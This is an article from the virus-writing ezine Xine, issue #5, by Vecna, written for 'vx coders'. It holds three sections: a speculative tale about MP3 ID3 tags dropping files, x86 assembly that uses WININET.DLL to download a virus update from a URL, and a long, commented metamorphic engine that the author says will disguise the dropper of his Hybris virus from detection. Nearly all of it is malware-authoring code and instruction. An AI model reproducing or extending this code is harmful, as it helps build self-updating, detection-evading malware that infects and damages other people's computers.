Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 008

eZine's profile picture
Published in 
Xine
 · 7 months ago

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 008 |
À-----------------------------Ù





Upgrade yourself!
by Vecna

I have always been a constributor to the IKX zine. I published here some of
my best codes, as Cocaine, but this is my first non sourcecode constribution.
I plan to in each new issue, some comments like these. Plagiaring Borges,
this was written by a unhappy man, but who had some fun writing it. I hope
you vx coder like.

A special thanks go to Asmodeus, that translated this article from my own
english dialect to the mainstream one :-)

Vecna (vecna@antisocial.com)

****************************************************************************

The bulgarian way to infect MP3

Some years ago, something strange happened. In a cloudly winter night, i
discovered an horrible thing: i neglected my ganjah stock, and had nothing
to smoke. Late in the night, only one hope was left. Walking by the beach, I
soon found my target. A lil glowing brigth told me somebody was smoking
something. Some more steps, and the smell confirmed it all. I self-invited
myself, and all was right. He who has should help those who hasn't, everybody
here know that. They were 3 but only 2 were smoking. The other was a drunk,
that appeared there just like me, but didn't ask for a smoke...

The drunk man just drank and talked. Rambled about something that nobody
could understand. Between vodka and uncomprehensible bulgarian accent, he
talked about MP3, and how they could be infected. He denied the accepted fact
that they are just raw sound data, and couldn't be infected. Then, laughing,
he said he had a thing that would shake my tiny view of the world. ID3 he
said. MP3s currently have some headers, he said, to store things like
comments, lyrics or, ohh, embedded files. With a file named WINSTART.BAT in
the root dir, or a file placed in /windows/menu_init/start, you can make a
MP3 drop and run a file. And more, these ID3 headers are very easy...

Suddenly, steps and voices emerged. More people coming. When we looked
back, the strange man talking about MP3 and ID3 had disappeared. Now, just me
and 2 other people (that I think aren't really vx coders, and will never
review his ideas that MP3 is pure raw data) know this.

ID3 aren't implemented in all players, but the ones that don't support it
should ignore those headers and skip it. Is this true? Does there really
exist an ID3 header for embedded files? Is it not only for pictures and like?
Can we put those dropped files in any directory? Won't the player prompt for
confirmation?

Well, as I'm a busy man, I never checked...

****************************************************************************

WININET.DLL

Recently, i discovered a very interessting DLL, default in windows
installation. It's the WININET.DLL. With it, support for http updates can be
made in a couple of lines! No more huge routines, http header handling, and
connect()s, recv()s and send()s, as was in Babylonia or in MTX. This DLL can
be used to do a myriad of things, between those, inclusive, check for a
active internet connection. This is what I'm using in Hybris.

The first API we are interessed is InternetGetConnectedState(). Push 0, then
push the pointer to a buffer, and call it. If EAX return -1, then you are not
connected to internet yet.

The next api to be called is InternetOpenA(). Push 0 value 5 times, and call
it. You will get a handle. About handles: they are like file handles. Use,
and when you're done, close them with InternetCloseHandle(). Push the handle
and call.

Now it's InternetOpenUrlA() time. Push 0 value 4 times, then a pointer to the
URL you wanna open (lets say it's www.ikxforever.com), then the handle, and
call it. Another handle will be returned. You will need to close this one too
when you're done.

Now comes the fun part. Call InternetReadFile() as if it was a ReadFile() API
call. Push a pointer to a variable that will receive the size read, push the
size, push the buffer, push the handle, and call it. The buffer will have the
contents of the page/file in the url that was used in InternetOpenUrlA().

Things are very easy, but, for those who still doesn't understand, here's a
code example:

sub esp, 100h
mov eax, esp ;alloc temp buffer in stack
push 0
push eax ;blahblahblah buffer
call InternetGetConnectedState
add esp, 100h ;return stack buffer
inc eax
jz @@not_connected
push 0 0 0 0 0
call InternetOpenA
test eax, eax
jz @@not_connected
mov edi, eax ;edi==first handle
push 0 0 0 0
call @@url
db "http://www.ikxforever.com/vecna/virus_update.dat", 0
@@url:push edi
call InternetOpenUrlA
test eax, eax
jz @@not_connected
mov ebx, eax ;ebx==second handle
push 0 ;tmp_buffer (1 dword)
push esp ;esp==pointer to buffer(pushed dword)
push 64*1024 ;64kb (no problem if file is smaller)
push offset buffer
push ebx
call InternetReadFile
pop ecx ;ecx=total size read (free tmp_buffer)
push ebx
call InternetCloseHandle
push edi
call InternetCloseHandle

With just this working code snippet, your virus can be updated from the
internet. The best thing about this approach is that the URL can be any valid
URL, including CGI requests, URLs provided by www-forwarders and all the like.

Win32 DLLs provides us with thousands of interessting functions, that can be
ready for use by vx coders to improve his creations. Just go research!

****************************************************************************

Metamorphism

Lately, several articles about metamorphism have been published. The problem
is that they were written by peoples that never coded such a virus. Then much
of their ideas are naive, impractical or simply unable to help to stealth the
virus. In this point I was planning to bash some published articles, written by
such people. But I will do better. I will code a commented simple (but more
advanced than such fools who published those articles could ever dream of)
metamorphic engine. And I'm not talking about just one person; there are more
than one.

I plan to use this metamorphic engine in a plugin for my virus Hybris, in an
update of the plugin that infect PE files without change the CRC nor increase
in the size of the host.

The routine we will mutate is the one that unpack the hybris dropper, write
to disk and run it, then unpack the original code and return control. This is
the only fixed part in an infected file, since all the rest is original .CODE
and hybris dropper is compressed. A poly engine will not be useful here coz
it will make us change the attributes of .CODE section to +W, which is
suspicious, and will spoil all the work we had not changing the CRC nor the
size.

The code that infect the PE files, and the metamorphic engine, resides in the
plugin body, so that they don't need (or can, due the signature) be metamorphic.
But you will notice that due to the approach we will use to code the engine,
it's possible to make a full meta virus.

It's the first time I ever commented my code, so, be kind with me. Well, lets
start to code...

;Lets first decide what we want the engine do. We will want the engine
;mix the code in the buffer, insert garbling(using the non-used registers at
;this moment), and change some instructions by others. We also want that the
;engine dont left unused "isles" of data between the code. The code must be
;packed together, with all holes removed, as the size is a premium in the way
;we choose to infect the PE files.

;We will retrieve info about which registers are free and used using the same
;trick i used in lexotan16. A few used instruction will have a special mean
;by the engine. In this case, when the engine find a XOR EBP it will not
;output it, but get the immediate value and use it to determine the changes
;in registers usage. So, the code that the engine need be "special" to take
;full advantage of the engine garbler.

;We will have a base code, and a meta copy will be generated always from it.
;In base code, we must use near version of JMPs and JCCs(coz this i used NASM).
;This must be this way becoz the first phase, of mixing, need be able to move
;the code regardless of the previous offset. So, short offset are no applicable
;in this moment. In subsequent loops, the JMP/JCCs will be optimized

;This is the size of each allocated structure. Increase as you increase the
;amount of code that the engine must process

WORKSIZE equ 16*1024

;These are the params we must pass to engine in the stack

source equ 20
size equ 16
userlist equ 12
alloc equ 8
disasm equ 4

;The usual here will use a pompous name for the metamorphic engine. Something
;313773. But lets be different and call it simply...

engine:
pushad

call @@delta
@@delta:
add dwo [esp], -(ofs @@delta-ofs engine)
pop ebp ;lets keep in EBP the delta always

mov [ebp+ofs seed-ofs engine], esp ;initialize some variables
xor [ebp+ofs seed-ofs engine], eax
sub eax, eax
mov [ebp+ofs recurse-ofs engine], al
mov [ebp+ofs eip_table_cnt-ofs engine], eax
mov [ebp+ofs jmp_table_cnt-ofs engine], eax
mov dwo [ebp+ofs reg32-ofs engine], 0800000efh ;mark all register used

;Our working buffers are calculated to be 8 times the size of input code. This
;should be enought. The engine dont free the mem it allocate, so, is better
;you code you own alloc() returning space in a bigger buffer, to after can do
;a free by yourself as a whole.

push WORKSIZE
call [esp+8*4+alloc+4] ;allocate memory buffers
mov [ebp+ofs destino-ofs engine], eax
mov edi, eax

mov esi, [esp+8*4+source]
mov [ebp+ofs fonte-ofs engine], esi

mov eax, [esp+8*4+size]
mov [ebp+ofs input_size-ofs engine], eax

push WORKSIZE*8 ;calculate for the worst case:
push WORKSIZE*8 ;a buffer filled of 1 byte instructions
call [esp+8*4+alloc+4+4]
mov [ebp+ofs eip_table-ofs engine], eax
call [esp+8*4+alloc+4]
mov [ebp+ofs jmp_table-ofs engine], eax

;fill out buffer with NOPs
call fill_nops

;Now, we choose a random place in the output buffer to be the start of our
;metamorphed version of the input code. I commented this to generate the
;snippets that Billy should have put somewhere in the zine. This becoz i wanted
;to have the entrypoint at 0, to show the generated code in all its glory, and
;from the start.

; mov eax, WORKSIZE-48
; call random
; add edi, eax

;Dis is the first loop. We will loop here for each instruction. Our job is
;keep track of the position, copy the instruction, add garbling, and, random,
;add a jmp. These jmps will be what make the virus, after all the "holes" are
;removed, be mixed.

@@loop1:
mov eax, [ebp+ofs input_size-ofs engine]
add eax, [ebp+ofs fonte-ofs engine]
cmp esi, eax ;we already processed the whole buffer?
jae @@done_phase1

;Check if we get a XOR EBP, ?. If so, we get the immediate value and copy it
;to the "reg32" var. This way, our garbling engine can know what regs are
;available at the moment.

cmp wo [esi], 0f581h
jne @@no_xorebp
lodsw
lodsd
mov [ebp+(ofs reg32-ofs engine)], eax
jmp @@loop1
@@no_xorebp:

;We must keep a list of the list of new eip->old eip correspondence, else we
;will not be able to know to where JMP/CALL/JCC

call link_eip

;Check for CALLs, JMPs and JCCs, and add they to jmps2fix list.
call check4jmps
jc @@insert_nocode

;Thereïs a random chance that we will analise the current instruction in input
;buffer to change it for some analogous code.

call random_f
jc @@no_metamorph

mov edx, [esi] ;get instruction

;The first instruction we will try to modify is the SUB/ADD with dword regs
;and immediate values. If we found one, we invert it and the immediate, so a
;add eax, 12345678h turn in a sub eax,-12345678h, that do the same work. We
;check for normals SUB/ADD, and also for the short versions, using EAX.
mov eax, edx
cmp al, 2dh
je @@add_sub_invert ;is a eax optimized SUB?
cmp al, 05h
je @@add_sub_invert ;is a eax optimized ADD?
cmp al, 81h
jne @@no_add_sub
and ah, 011111000b
cmp ah, 0e8h
je @@sub_add ;a normal SUB?
cmp ah, 0c0h
jne @@no_add_sub ;a normal add?
@@sub_add:
movsw
xor by [edi-1], 0c0h xor 0e8h ;invert sub<->add
jmp @@negate
@@add_sub_invert:
lodsb
xor al, 2dh xor 05h ;invert optimized form
stosb
@@negate:
lodsd
neg eax ;invert value
stosd
jmp @@insert_nocode
@@no_add_sub:

;Now, lets check if is a MOV of a immediate to a register. If is, we change it
;for a PUSH imm/POP reg. Notice that we dont add a extra link now that one
;instruction become two(or even 3). This is becoz no jmp will be directed
;to this new instruction, so, no need to call. In following cicles, altought,
;they will be manipulated separadly.
mov eax, edx
mov ah, al
and ax, 0000011111111000b ;al=instruction/ah=register
cmp al, 0b8h
jne @@no_mov_imm ;if isnt a MOV REG, IMM exit...
lodsb
mov al, 068h
stosb
movsd ;build PUSH IMM
call garble
mov al, 058h
or al, ah
stosb ;build POP REG
jmp @@insert_nocode
@@no_mov_imm:

;Now, check for a MOV REG,REG, to change to a PUSH REG/POP REG
mov eax, edx
cmp al, 89h
jne @@no_mov_r2r ;is mov?
mov al, ah
and eax, 01100000000111111b
cmp ah, 0c0h ;sure?
jne @@no_mov_r2r
mov ah, al
and ax, 0000011100111000b ;reg registers
shr al, 3
add ax, 5850h ;tranform to PUSH/POP
stosb
call garble
mov al, ah
stosb
@@add2andgo:
inc esi ;adjust input buffer by 2
inc esi
jmp @@insert_nocode
@@no_mov_r2r:

;Check for SUB REG,REG, using the same register, and change for something like
;XOR REG REG, AND REG 0 or PUSH/POP
mov eax, edx
cmp al, 29h
jne @@no_sub_0 ;is a sub reg,reg?
mov al, ah
and eax, 1100000000111111b
cmp ah, 0c0h ;sure?
jne @@no_sub_0
mov dl, al
mov ah, al
and al, 0111b
shr ah, 3
cmp al, ah ;same 2 registers in sub?
jne @@no_sub_0
call random_f
jc @@no_xor0
mov al, 31h ;encode a XOR REG,REG
stosb
or dl, 011000000b ;0c0
mov al, dl
stosb
jmp @@add2andgo
@@no_xor0:
call random_f
jc @@no_and0
add ax, 0e083h ;encode AND reg, 0
stosw
sub eax, eax
stosb
jmp @@add2andgo
@@no_and0:
push eax
mov ax, 006ah ;encode PUSH 0
stosw
call garble
pop eax
or al, 058h ;POP REG
stosb
jmp @@add2andgo
@@no_sub_0:

;Now, the check if for XCHG instructions. We will change they to a PUSH REG1/
;PUSH REG2/POP REG1/POP REG2
mov eax, edx
cmp al, 87h
jne @@check_eax_xchg ;is a XCHG instruction?
mov al, ah
and ax, 0011111111000000b
cmp al, 0c0h
jne @@no_xchg ;sure?
mov al, ah
and al, 0111b
shr ah, 3
inc esi ;skip instruction(coz was already processed)
jmp @@xchg_al_ah ;ah&al have the regs to swap values
@@check_eax_xchg:
mov ah, al
and ax, 011111111000b
sub al, 90h
jne @@no_xchg ;is the eax form of XCHG? no, exit
@@xchg_al_ah: ;ah&al have the regs to swap values
inc esi
call random_f
jc @@swap_al_ah
xchg al, ah
@@swap_al_ah:
push eax
add ax, 5050h ;make PUSHs
stosb ;store one
call garble
mov al, ah
stosb ;then other
call garble
pop eax
add ax, 5858h ;make POPs
stosb ;store one
call garble
mov al, ah
stosb ;the another
jmp @@insert_nocode
@@no_xchg:

;Here we check for CMP REG IMM instructions, and, if found, we metamorph they
;to a PUSH REG / SUB REG IMM / POP REG
sub ebx, ebx ;default to EAX
mov eax, edx
cmp al, 3dh
je @@cmp_eax ;check for short form of CMP
cmp al, 81h ;(altought it dont appear even once)
jne @@no_cmp
mov al, ah
and ax, 011111111000b
cmp al, 011111000b ;0f8
jne @@no_cmp ;isnt a CMP at all?
mov bl, ah
inc esi
@@cmp_eax: ;ebx=register
add esi, 5
lea eax, [ebx+50h]
stosb ;do the PUSH
call garble
test ebx, ebx
je @@is_eax_ver
mov eax, 0e881h
or ah, bl
stosw ;version for other regsiters...
jmp @@store_imm
@@is_eax_ver:
mov al, 2dh ;version for EAX
stosb
@@store_imm:
mov eax, [esi-4]
stosd
call garble
lea eax, [ebx+58h]
stosb ;do the POP
jmp @@insert_nocode
@@no_cmp:

;Here are some quickïnïdirt changes in INC EAX. As it is a often used instruction
;our code base, we have specific code to change it. Others kind of INCs occur
;so rarely that i choose for no check for they. Remember you must not check
;for all possible code changes or all possible optimizations. Just do what
;your base code use.
cmp dl, 40h
jne @@no_inceax ;is a INC EAX?
inc esi
mov eax, 01c083h ;encode a ADD EAX, 1
@@process_addsub:
call random_f
jc @@add_1
xor ah, 0E8h xor 0c0h
ror eax, 16 ;or better a SUB EAX, -1
neg al
ror eax, 16
@@add_1:
stosw
shr eax, 16
stosb
jmp @@insert_nocode
@@no_inceax:

;By last, we manage the STOSD/LODSD instruction...These are complex instructions
;and, when processed can generate till 5 new instructions. We dont check for
;LODSB/STOSB coz they also occur very rarely in our base code. Also, we assume
;that the direction flag will be cleared. This is ok, since we never set it in
;our code.
cmp dl, 0abh ;is STOSD?
je @@stosd
cmp dl, 0adh
jne @@no_metamorph ;is LODSD?
mov ax, 068bh ;mov eax,[esi]
jmp @@code_incs
@@stosd:
mov ax, 0789h ;mov [edi],eax
@@code_incs:
mov bl, ah
inc esi
stosw
call garble
call random_f
jc @@do_incs
mov eax, 04c083h ;encode a ADD REG, 4
or ah, bl
jmp @@process_addsub
@@do_incs:
mov ecx, 4 ;do 4 times...
@@doloop_inc:
mov al, 40h
or al, bl ;encode a INC
stosb
call garble
loop @@doloop_inc
jmp @@insert_nocode
@@no_metamorph:

;The instruction wasnt handled by special routine. So, calculate the size of
;the instruction.
call [esp+8*4+disasm]

;Now, with the instruction size in eax, we just need copy the instruction to
;output buffer, and add garbling instructions.
mov ecx, eax
rep movsb

;Add the garbage, that will be the real protection of the metamorphed code
@@insert_nocode:
call garble

;Test random probability of we add a JMP to another point of our out buffer.
;As this occur, our code is mixed in the buffer, generating isles of code +
;garbling between a background of NOPs

@@change_eip:
call random_f
jc @@no_add_jmp
@@do_change:
call change_eip
;Notice that this jmp dont need to be added to our jmp_table, coz it is already
;build with the correct displacement. In the next cicles, it will be added to
;this list, as if it was a user-coded JMP

@@no_add_jmp:

;We need now check it the out buffer position is too near the end of the buffer
;If so, we must exec @@do_change to force a JMP out of there. It will be called
;till it manage to find a free place. The JMP *must* be done. The same happen
;if we detect used areas too near.
mov eax, [ebp+ofs destino-ofs engine]
add eax, WORKSIZE-48
cmp edi, eax ;if too near end of buffer, a JMP is
ja @@do_change ;essencial

push edi
mov eax, 90909090h
mov ecx, 12
repe scasd ;check 48 bytes forward
pop edi
jne @@do_change ;uhh, a used area...

;End of first main loop. Go to next instruction...
jmp @@loop1
@@done_phase1:

;All the code was processed, so, now we need fix the JMP/CALL/JCC instructions.
;This is need coz these instructions use the distance to add/sub to eip, and,
;with the code mixed and garbled, this change. So, our jmp_table, a 2 dword
;structure, tell us that "At offset X-4 thereïs a instruction that point to
;the instruction that was at offset Y in old buffer". What we do then is
;get this offset and convert to its current position(using our eip_table).
;Then, we just need recalculate the relative distance and patch the instruct.
;Neat. ;)

call fix_damn_jmps

;Our engine have the optional ability to process a user list of ptr to old code
;offsets to new code offsets. This is need when you need update a variable
;after the processing by the engine, or your code use a callback, as a thread,
;and you must actualize a pointer to code into other instruction. Lets said, as
;example that you have a code that do push offset Routine1\CreateThread() in
;the code you want to metamorph. After the engine run, Routine1 will not be
;anymore in the offset specified. So, you need update it, and this list is to
;this: update pointers location. A better example is the entrypoint. Lets say
;that your code, that you pass to engine, receive control at first byte (offset
;0). Put 0 in the list, and the engine will put there the new entrypoint, the
;address corresponding to old offset 0. Put a -1 to finish the list.

call fix_userlist

;By now, the engine can be finished. What we have here is a working engine that,
;given a buffer with code, its size, a optional list of ptrs to keep track on,
;a routine for alloc memory, and a ptr to a disassembly routine(can be lde32,
;by z0mbie), generate a mixed version of it, with garbling instructions insert
;between real code, and real instructions sometimes changed by sinonymous. And
;all this under 2kb. Something that our "article writters" cant even dream ;)

;For others uses, now you just need scan the buffer for the filler(in our case
;NOPs), and replace it by random data. But, for our porpouse, we need optimize
;the generated code to not have anymore this random data "isles", since the
;code will need fit into a space generated by compressing the original content.

;We will do this optimization in a loop, that will cicle all generated buffer
;for wasted space and some code optimization(EAX-using instructions and JMP/
;JCC) and we will execute this loop till no more modifications can be done.

;The old out buffer now will be source of instructions
push WORKSIZE
call [esp+8*4+alloc+4] ;allocate memory buffers

mov ecx, [ebp+ofs destino-ofs engine]
mov [ebp+ofs destino-ofs engine], eax
mov [ebp+ofs fonte-ofs engine], ecx

mov dwo [ebp+ofs input_size-ofs engine], WORKSIZE

;once again, fill the outbuffer(a new outbuffer) with NOPs
@@optimize:
sub eax, eax
mov dwo [ebp+ofs changes-ofs engine], eax ;mark no changes done
mov [ebp+ofs eip_table_cnt-ofs engine], eax
mov [ebp+ofs jmp_table_cnt-ofs engine], eax

mov esi, 12345678h
fonte equ $-4
mov edi, 12345678h
destino equ $-4
call fill_nops

;Hereïs the main optimization loop. We will execute it for each instruction.
@@optimize_loop:
mov eax, 12345678h
input_size equ $-4
add eax, [ebp+ofs fonte-ofs engine]
cmp esi, eax
jae @@optimize_loop_done ;all processed?

;Once again, create a table of old eip->new eip relation
call link_eip

;Now, we check for instructions that dont need be there. First one, obviously,
;is the NOP isntruction.
mov al, [esi]
cmp al, 90h
je @@optimize_loop1 ;skip da NOP!

;Other one we must check is the JMP. If the displacement is 0(it just jump to
;the next instruction), we just skip it.
cmp al, 0e9h
jne @@no_jmp
mov eax, [esi+1]
test eax, eax
jnz @@near2short ;the JMP jump to the enxt instruction?
add esi, 4 ;skip instruction
@@optimize_loop1:
inc esi
inc dwo [ebp+ofs changes-ofs engine] ;changes were done, so, must
jmp @@optimize_loop ;have a next loop
@@near2short:

;Check if the JMP can be converted to JMP SHORT. Notice we work in the source
;buffer. This is becoz we want this instruction processed in the current loop.
call is_signed
jnz @@no_jcc_near
mov dwo [esi], 0eb909090h
mov [esi+4], al
jmp @@modify
@@no_jmp:

;Here we check if we can convert the JCC NEAR to the SHORT version. Once again
;we work over ESI.
mov edx, [esi]
cmp dl, 0fh
jne @@no_jcc_near ;extended opcode?
mov dl, dh
and edx, 01111000000001111b
cmp dh, 80h
jne @@no_jcc_near ;make sure is a JMP?
add dl, 70h
mov eax, [esi+2]
call is_signed
jnz @@no_jcc_near ;and can be converted?
mov dh, al
mov dwo [esi], 90909090h ;convert da jmp!
mov wo [esi+4], dx
@@modify:
inc dwo [ebp+ofs changes-ofs engine] ;changes were done...
@@no_jcc_near:

;Keep keeping track of the JMPs...
call check4jmps
jc @@optimize_loop

;Disasm and copy. Notice that we dont insert garbling anymore. This loop is
;for optimization, so, we take things, no add things :=)
call [esp+8*4+disasm]
mov ecx, eax
rep movsb

jmp @@optimize_loop
@@optimize_loop_done:

;Now that all instructions were processed, we fix all JMP/CALL/JCCs and the
;user list of pointers.
call fix_damn_jmps
call fix_userlist

;Exchange buffer, in case we will re-process the code(modifications were made)
mov ebx, [ebp+ofs fonte-ofs engine]
xchg ebx, [ebp+ofs destino-ofs engine]
mov [ebp+ofs fonte-ofs engine], ebx

;NOw we scan backward for the last NOP. This way, we have the new size of the
;code, without trailing garbage instructions.
mov ecx, WORKSIZE-1
lea edi, [ebx+ecx]
mov al, 90h
std
repe scasb ;scan for last NOP
cld
scasw
sub edi, ebx
mov [ebp+ofs input_size-ofs engine], edi ;update new size of data

;Check if changes were done in this pass. IF changes where done, we must redo
;the optimizating loop, coz the modification of one instruction can have a
;chain effect.
mov ecx, 12345678h
changes equ $-4
jecxz @@all_work_done ;if we didnt any change, we finished
jmp @@optimize

;Now, our work really is finished. We mixed the code, added the garbling,
;changed instructions, and after we optimized the code generated. I hope you
;reader that reached this point noticed how easy can be write a meta engine,
;if you read the right resources before trying to write a tute. The resources
;i recommend are badboy, ply, tmc, commander bomber, dark paranoid, zcme,
;lexotan, azcme, for DOS. For win32, all z0mbie code about this matter, that
;seens be the only published code for advanced meta. You also can read ghost,
;regswap and evol to get a taste. Z0mbie code is very advanced and uncommented
;and, in meta engines, DOS experience also count, so, if youïre beginner,
;take a good look in the mentioned DOS virus first.

@@all_work_done:
;Return EDI with mutated code
mov eax, [ebp+ofs destino-ofs engine]
mov [esp], eax
;and EAX with the size of the generated code
mov eax, [ebp+ofs input_size-ofs engine]
mov [esp+7*4], eax
popad
ret 5*4

;Now, we check for JMPs, CALLs and JCCs. If theyïre found, we put they in a
;list, to later be fixed to point to the new offset of the right instruction.
check4jmps:
sub ebx, ebx ;default 32b displacement
mov al, [esi]
cmp al, 0e9h ;is a JMP?
jne @@no_jmp
@@is_call:
movsb
lodsd
stosd
@@do_jmp_table:
mov ecx, edi ;ebx is where patch
test ebx, ebx ;default 32b displacement
jz @@no8b
bts ecx, 31 ;set higest bit as mark of a 8bit relocation
@@no8b:
add eax, esi
sub eax, [ebp+ofs fonte-ofs engine] ;add to

;Make a list of relocations. Again is a 2 dword struture, this one mean "At new
;buffer offset X, thereïs a JCC/JMP/CALL that was pointing to the offset Y
;in old buffer". We will use this info to fix these instructions in the right
;moment
push edi
mov edi, 12345678h ;table base
jmp_table equ $-4
mov ebx, 12345678h ;index
jmp_table_cnt equ $-4
lea edi, [edi+ebx*8] ;offset of referenced instruction
stosd
mov eax, ecx
stosd ;save patch point
inc dwo [ebp+ofs jmp_table_cnt-ofs engine]
pop edi
jmp @@loop
;we keep cheing for CALLs, JCCs and short versions of JMPs and JCCs
@@no_jmp:
cmp al, 0e8h ;maybe a CALL?
je @@is_call
cmp al, 0fh
jne @@isnt_jcc_near ;extended opcode?
mov al, [esi+1]
and al, 011110000b
cmp al, 80h ;is a near JCC?
jne @@isnt_jcc_near
movsb
jmp @@is_call
@@isnt_jcc_near:
cmp al, 0ebh
jne @@no_short_jmp
@@short_shit:
lodsw
stosw
movsx eax, ah
inc ebx
jmp @@do_jmp_table
@@no_short_jmp:
and al, 011110000b
cmp al, 70h
je @@short_shit
test al, ?
org $-1
@@loop:
stc
ret

;Make a table of new eip->old eip. Is a 2 dword structure that mean "The code
;in new buffer at offset X is the same in old buffer at Y". We need this info
;to fix jcc/jmp/calls.
link_eip:
pushad ;save current edi
mov eax, edi
mov edi, 12345678h ;table base
eip_table equ $-4
mov ecx, 12345678h ;index
eip_table_cnt equ $-4
lea edi, [edi+ecx*8] ;place to put eip/eip
sub eax, [ebp+ofs destino-ofs engine]
stosd
mov eax, esi
sub eax, [ebp+ofs fonte-ofs engine]
stosd ;save esi
inc dwo [ebp+ofs eip_table_cnt-ofs engine]
popad
ret

;Given a old EIP in EAX, return in EAX the new EIP correspondent
xref:
pushad
mov ecx, [ebp+ofs eip_table_cnt-ofs engine]
mov esi, [ebp+ofs eip_table-ofs engine]
@@xref_loop:
cmp [esi+ecx*8+4], eax
jne @@no_equal
mov ecx, [esi+ecx*8]
jmp @@found
@@no_equal:
loop @@xref_loop
@@found:
mov [esp+7*4], ecx
popad
ret

;Try to insert a JMP to a random free place in our outbuffer.
change_eip:
pushad
mov eax, WORKSIZE-48
call random
add eax, [ebp+ofs destino-ofs engine]
mov ebx, eax ;And check if is free
mov edi, 90909090h
cmp [eax-4], edi
jne @@no_eip_change
xchg edi, eax
mov ecx, 12
repe scasd ;unused space?
jne @@no_eip_change
sub edi, 48+5
mov eax, ebx
xchg eax, [esp] ;set the new eip
xchg eax, edi
sub eax, edi
stosb
stosd ;displacement
mov by [edi-5], 0e9h ;build JMP
@@no_eip_change:
popad
ret

fix_userlist:
mov ecx, [esp+8*4+userlist+4] ;get start of userlist
jecxz @@done_userlist ;no list exit...
xchg ecx, esi
@@next_userptr:
lodsd
cmp eax, -1
je @@done_userlist ;no more pointers to process? exit...
call xref
mov [esi-4], eax ;update ptr
jmp @@next_userptr
@@done_userlist:
ret

;This routine fix the damn JMPs using the 2 tables previously constructed
fix_damn_jmps:
mov ebx, [ebp+ofs jmp_table_cnt-ofs engine]
mov esi, [ebp+(ofs jmp_table-ofs engine)]
@@fix_jmp:
dec ebx ;for all jmps, do...
js @@done_fix_jmp
mov eax, [esi+ebx*8]
mov edi, [esi+ebx*8+4]
call xref ;translate old offset to new
mov edx, edi
btr edx, 31
mov ecx, edx
sub ecx, [ebp+(ofs destino-ofs engine)]
sub eax, ecx ;calculate new relative distance
@@near:
bt edi, 31
jc @@short
mov [edx-4], eax ;and patch
jmp @@fix_jmp
@@short:
mov [edx-1], al ;patch 8b displacement
jmp @@fix_jmp
@@done_fix_jmp:
ret

;Return Z if the offset in EAX can be represented in 8bit
is_signed:
push ecx
movsx ecx, al
cmp eax, ecx
pop ecx
ret

;Random number routines.
random_f:
push eax
call random0
pop eax
ret

random0:
mov eax, -1

random:
push ebp ecx edx
push eax
mov eax, 12345678h
seed equ dwo $-4
mov ecx, 41c64e6dh
mul ecx
add eax, 3039h
and eax, 7ffffffh
mov [ebp+(ofs seed-ofs engine)], eax
pop ecx
sub edx, edx
div ecx
xchg eax, edx ;value = rnd MOD limit
pop edx ecx ebp
sahf
ret

;Fill with NOPs a buffer...
fill_nops:
push edi
mov ecx, WORKSIZE ;fill outbuffer with NOPs
mov al, 90h
rep stosb
pop edi
ret

;Here are the garbling routines... they are the heart of the meta engine, as
;garbage is inserted between each instruction. One of the advantages of code
;virus at long time is that much things you only need code once. This code was
;developed first for Cocaine virus. With some changes, it will fit exactly in
;our new engine ;)

;First, the routines to handle the registers. Not all possible operations where
;implemented in these routines, as we only need query about free registers,
;and never allocate or free one by ourselfs. More functions, making all the
;interactions by the use of a dedicated routine, is the right approach to
;isolate bugs and structurate the code.

;Return a random registers(EAX,ECX,EDX,EBX,EBP,ESI,EDI)...
GetAnyReg:
call random0 ;get random number between 0..7
and eax, 0111b ;that correspond to the eax..edi range
cmp al, 4
je GetAnyReg ;cant be ESP
ret

;Return a free 8 bit register(AL,CL,DL,BL,AH,CH,DH,BH)...
Get8bitRegFree:
db 0b8h ;build the variable inside the MOV
reg32 dd 0 ;to get the current used/free registers
and eax, 01111b ;just keep the e?x registers
cmp eax, 01111b
jne @@somefree ;all are in use?
stc
ret ;yeahh, error...
@@somefree:
call random0 ;choose a register that have 8 bits
and eax, 011b ;al,cl,dl,bl
bt [ebp+(ofs reg32-ofs engine)], eax ;is used? choose another
jc @@somefree
call random_f ;random flag
jc @@lowpart
or al, 0100b ;turn to hi-part (ah,ch,dh,bh)
@@lowpart:
clc
ret

;Get a register that is not used...
Get32bitRegFree:
call GetAnyReg ;get a 32bit reg
bt [ebp+(ofs reg32-ofs engine)], eax
jc Get32bitRegFree ;and check if in use
ret

;This routine is the main one of the garbling part of the engine. We will call
;it to insert random instructions, using the current free registers, between
;all the real instructions of our routine.

MAX_RECURSION equ 3 ;more recursion, more code generated

garble:
pushad
mov cl, 12h
recurse equ $-1
inc by [ebp+(ofs recurse-ofs engine)]
cmp cl, MAX_RECURSION ;we cant left this routine go
jae @@too_deep ;very deep recursively
call random0
and eax, 0111b
sub eax, 2
jbe @@too_deep ;no garbling this time
mov ecx, eax
@@next_garble:
push ecx
mov eax, (ofs garbling_routines_end-ofs garbling_routines)/4 ;choose a random garbling routine
call random ;in the table
lea esi, [ebp+(ofs garbling_routines-ofs engine)+eax*4]
lodsd
add eax, ebp
cmp dwo [ebp+(ofs reg32-ofs engine)], 10000000000000000000000011101111b
je @@skip_add_garble ;no registers available
call eax ;call garbling routine
call random_f
jc @@no_changeeip
jz @@no_changeeip
jns @@no_changeeip ;thereïs a small chance to add a JMP
@@skip_add_garble: ;if garbling was added.
call change_eip ;but we always add a JMP if no code
@@no_changeeip: ;was generated.
pop ecx
loop @@next_garble
@@too_deep:
dec by [ebp+(ofs recurse-ofs engine)]
mov [esp], edi ;actualize copy of edi in stack
popad
ret

;Here are the individual routines, responsible for generating each kind of
;instruction. I will not comment each.

lea_dword:
call Get32bitRegFree
jc @@eror
push eax
mov al, 8dh
stosb
pop eax
shl eax, 3
push eax
call GetAnyReg
pop edx
or eax, edx
or al, 80h
stosb
call random0
stosd
@@eror:
ret

math_byte:
bt dwo [ebp+ofs reg32-ofs engine], 31
jc @@1
mov eax, 8
call random
shl eax, 3
or eax, 1000000011000000b ;make math operation
push eax
call Get8bitRegFree
pop edx
jc @@1
or eax, edx
xchg al, ah
stosw
call random0
stosb ;byte
@@1:
ret

math_word:
bt dwo [ebp+ofs reg32-ofs engine], 31
jc @@1
mov ax, 8166h
stosw
call _math_imm
stosw
@@1:
ret

math_dword:
bt dwo [ebp+ofs reg32-ofs engine], 31
jc @@1
mov al, 81h
stosb
call _math_imm
stosd
@@1:
ret

_math_imm:
mov eax, 8
call random
shl eax, 3
or al, 11000000b
push eax
call Get32bitRegFree
pop edx
or eax, edx ;patch reg into
stosb
call random0
ret

push_pop:
call GetAnyReg
or al, 50h
stosb
call garble ;recurse into
call Get32bitRegFree
or al, 58h
stosb
